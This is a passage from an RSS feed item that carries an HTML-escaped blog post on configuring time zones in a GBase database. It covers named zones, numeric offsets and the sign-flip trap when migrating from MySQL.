&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;utc_offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'08:00:00'&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Best Practices
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prefer named zones&lt;/strong&gt;: &lt;code&gt;SET timezone = 'Asia/Shanghai'&lt;/code&gt; is self‑documenting and consistent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fallback to simplified numeric syntax&lt;/strong&gt;: &lt;code&gt;SET timezone = '8'&lt;/code&gt; avoids the sign‑flip trap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid ISO offset notation when migrating from MySQL&lt;/strong&gt;: for East‑Eight, set &lt;code&gt;-08:00&lt;/code&gt;, not &lt;code&gt;+08:00&lt;/code&gt; — which is the opposite of MySQL and of instinct.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After any time zone change, a quick &lt;code&gt;SELECT now()&lt;/code&gt; is the simplest way to confirm correctness and prevent subtle data corruption when running a gbase database.&lt;/p&gt;

</description>
      <category>gbase</category>
      <category>database</category>
      <category>数据库</category>
      <category>mysql</category>
    </item>
  </channel>
</rss>
